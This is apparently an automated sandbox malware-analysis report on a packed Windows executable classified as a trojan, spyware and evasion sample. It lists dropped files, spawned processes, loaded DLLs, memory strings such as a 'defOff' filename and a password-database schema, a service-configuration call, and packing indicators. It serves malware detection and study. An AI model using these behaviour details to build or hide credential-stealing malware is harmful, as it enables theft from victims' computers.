Source: 2jx1O1t486.exe, 00000000.00000003.1717783432.0000000006265000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1707746960.0000000006348000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1734375194.0000000005A61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702233337.000000000625A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703291160.0000000006307000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1700650635.0000000006304000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1721539864.000000000625C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703511828.0000000006262000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1700214902.0000000006262000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1720857018.0000000006260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1699584149.0000000005AF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1700321499.0000000005CBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1705349720.000000000632F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1722408559.0000000006258000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1722604587.00000000063AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1700470484.0000000006260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1714266475.0000000006372000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1712062034.000000000625F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1721968943.0000000006263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1720279323.000000000639B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1713905848.0000000006259000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1699796787.0000000005E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702332077.00000000062FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1712277819.0000000006368000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1704735724.0000000006326000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1709376515.0000000006258000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1719028954.00000000064C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1710621204.000000000625D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1711555722.0000000006361000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702869544.0000000006261000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1721032034.0000000006399000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1706156389.000000000633E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1705800397.000000000633C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1716292802.000000000625E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1708638011.000000000625B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1704615934.0000000006261000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1713487851.0000000006495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1720649708.000000000639D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702535900.00000000062FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703948087.00000000063F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1699584149.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1707103200.0000000006343000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1705232513.000000000625B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1707506610.0000000006259000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1709065734.000000000625D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702132716.00000000062FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1701822729.000000000625D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1734305733.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1699796787.0000000005F48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1718218896.0000000006390000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1701928734.00000000062FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1706907935.0000000006259000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1734375194.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703399888.00000000063BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1701347707.000000000625F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1717217951.000000000637C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1708418019.0000000006453000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1719902579.00000000064C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702976924.0000000006313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1703622572.0000000006319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1721252264.00000000064DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1699796787.0000000005ECD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1735816694.00000000067BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1702433581.0000000006257000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1701723731.0000000006301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1704492698.00000000063F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1711204842.0000000006360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1706748058.0000000006355000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1704852701.000000000625D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1717550275.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1734153712.0000000005F48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1720460973.0000000006265000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1705480979.0000000006412000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1720091324.000000000625C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1708850490.0000000006361000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1713280231.0000000006374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe
Source: 2jx1O1t486.exe, 00000000.00000003.1714884799.0000000006257000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 2jx1O1t486.exe

Source: 2jx1O1t486.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2jx1O1t486.exe	Static PE information: Section: ZLIB complexity 0.9995723549836601
Source: 2jx1O1t486.exe	Static PE information: Section: yxabeiju ZLIB complexity 0.9946496282875075

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Code function: 3_2_049315D0 ChangeServiceConfigA,

3_2_049315D0

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\G1YXJMVDF5OIAHQBL77U48.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\2jx1O1t486.exe

File created: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Jump to behavior

Source: C:\Users\user\Desktop\2jx1O1t486.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2jx1O1t486.exe, 00000000.00000003.1492790298.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1492680501.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, 2jx1O1t486.exe, 00000000.00000003.1522372379.00000000059BB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2jx1O1t486.exe

ReversingLabs: Detection: 44%

Source: G1YXJMVDF5OIAHQBL77U48.exe

String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\2jx1O1t486.exe

File read: C:\Users\user\Desktop\2jx1O1t486.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2jx1O1t486.exe "C:\Users\user\Desktop\2jx1O1t486.exe"
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Process created: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe "C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe"
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Process created: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe "C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe"
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Process created: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe "C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe"	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Process created: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe "C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe"	Jump to behavior

Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: 2jx1O1t486.exe

Static file information: File size 1885184 > 1048576

Source: 2jx1O1t486.exe

Static PE information: Raw size of yxabeiju is bigger than: 0x100000 < 0x1a2400

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: G1YXJMVDF5OIAHQBL77U48.exe, 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Unpacked PE file: 3.2.G1YXJMVDF5OIAHQBL77U48.exe.b30000.0.unpack :EW;.rsrc:W;.idata :W;tjukwpbk:EW;rvbdmwlv:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Unpacked PE file: 4.2.NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.d10000.0.unpack :EW;.rsrc:W;.idata :W;tumlwnkw:EW;twdpfarl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tumlwnkw:EW;twdpfarl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: G1YXJMVDF5OIAHQBL77U48.exe.0.dr	Static PE information: real checksum: 0x2b4c1d should be: 0x2b403b
Source: 2jx1O1t486.exe	Static PE information: real checksum: 0x1da149 should be: 0x1d57de
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Static PE information: real checksum: 0x2b522f should be: 0x2b1abf

Source: 2jx1O1t486.exe	Static PE information: section name:
Source: 2jx1O1t486.exe	Static PE information: section name: .idata
Source: 2jx1O1t486.exe	Static PE information: section name:
Source: 2jx1O1t486.exe	Static PE information: section name: yxabeiju
Source: 2jx1O1t486.exe	Static PE information: section name: yaueetdw
Source: 2jx1O1t486.exe	Static PE information: section name: .taggant
Source: G1YXJMVDF5OIAHQBL77U48.exe.0.dr	Static PE information: section name:
Source: G1YXJMVDF5OIAHQBL77U48.exe.0.dr	Static PE information: section name: .idata
Source: G1YXJMVDF5OIAHQBL77U48.exe.0.dr	Static PE information: section name: tjukwpbk
Source: G1YXJMVDF5OIAHQBL77U48.exe.0.dr	Static PE information: section name: rvbdmwlv
Source: G1YXJMVDF5OIAHQBL77U48.exe.0.dr	Static PE information: section name: .taggant
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Static PE information: section name:
